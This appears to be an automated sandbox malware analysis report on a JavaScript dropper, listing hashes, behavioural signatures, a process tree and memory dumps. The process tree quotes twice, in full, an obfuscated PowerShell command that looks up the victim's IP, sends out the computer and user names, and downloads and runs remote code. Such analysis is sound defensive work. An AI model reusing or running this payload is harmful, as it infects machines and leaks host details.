05fd936b02186833f045ea6dae98f72c658b28711d18ee21000bda405db3c903

Analysis

max time kernel
135s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
09/05/2023, 10:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Info_8_may_7937412.js
Size

317KB
MD5

633689a3c81385c9d6cd2484568381e5
SHA1

3826e574c4d9b5cad277d33cf045f18bb79f2b73
SHA256

05fd936b02186833f045ea6dae98f72c658b28711d18ee21000bda405db3c903
SHA512

fd6a905928cf9317922ceb682d8e180c07ef0c9c877bb90e4a2781840269bd52d3ec05c48d59e306b61866b5719036e4a4aa4627be592bc0498489aa2b29c256
SSDEEP

3072:nJXSxohIPrgqyEDtkXjGtmloqvAShw3TCX1ZK9M59a/B3XDk9/f0zVvoySeZx7Th:Y

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	780	1416	conhost.exe	21

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	564	powershell.exe
10	564	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ipinfo.io

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
564	powershell.exe
564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	564	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 564	780	conhost.exe	85
PID 780 wrote to memory of 564	780	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Info_8_may_7937412.js
1⤵
PID:628

C:\Windows\system32\conhost.exe
conhost --headless powershell @(3252,3317,3326,3334,3274,3315,3327,3325,3328,3333,3332,3317,3330,3326,3313,3325,3317)|foreach{$qdgp=$qdgp+[char]($_-3216)};@(2132,2169,2177,2170,2166,2160,2104,2141,2160,2174,2175,2136,2160,2175,2163,2170,2159)|foreach{$kohp=$kohp+[char]($_-2059)};@(5144,5151,5144,5149,5141,5150,5085,5144,5150,5086,5144,5151)|foreach{$vdopmj=$vdopmj+[char]($_-5039)};@(8283,8295,8295,8291,8237,8226,8226,8291,8293,8296,8297,8277,8225,8281,8296,8289,8226,8293,8295,8225,8291,8283,8291,8242,8284,8240)|foreach{$pzusvm=$pzusvm+[char]($_-8179)};new-alias qfer $kohp;$ldwnyj='rl';$yga = qfer -Uri $vdopmj;new-alias reap cu$ldwnyj;$ds=$executioncontext.invokecommand.expandstring($qdgp);.$([char](6692-6587)+'ex')(reap -useb "$pzusvm$yga<>$ds")
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell @(3252,3317,3326,3334,3274,3315,3327,3325,3328,3333,3332,3317,3330,3326,3313,3325,3317)|foreach{$qdgp=$qdgp+[char]($_-3216)};@(2132,2169,2177,2170,2166,2160,2104,2141,2160,2174,2175,2136,2160,2175,2163,2170,2159)|foreach{$kohp=$kohp+[char]($_-2059)};@(5144,5151,5144,5149,5141,5150,5085,5144,5150,5086,5144,5151)|foreach{$vdopmj=$vdopmj+[char]($_-5039)};@(8283,8295,8295,8291,8237,8226,8226,8291,8293,8296,8297,8277,8225,8281,8296,8289,8226,8293,8295,8225,8291,8283,8291,8242,8284,8240)|foreach{$pzusvm=$pzusvm+[char]($_-8179)};new-alias qfer $kohp;$ldwnyj='rl';$yga = qfer -Uri $vdopmj;new-alias reap cu$ldwnyj;$ds=$executioncontext.invokecommand.expandstring($qdgp);.$([char](6692-6587)+'ex')(reap -useb $pzusvm$yga<>$ds)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:564

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x0vvhroq.3gx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/564-134-0x000001F3149A0000-0x000001F3149C2000-memory.dmp

Filesize
136KB

Download
memory/564-144-0x000001F314750000-0x000001F314760000-memory.dmp

Filesize
64KB

Download
memory/564-145-0x000001F314750000-0x000001F314760000-memory.dmp

Filesize
64KB

Download
memory/564-146-0x000001F314750000-0x000001F314760000-memory.dmp

Filesize
64KB

Download
memory/564-147-0x000001F32F590000-0x000001F32F752000-memory.dmp

Filesize
1.8MB

Download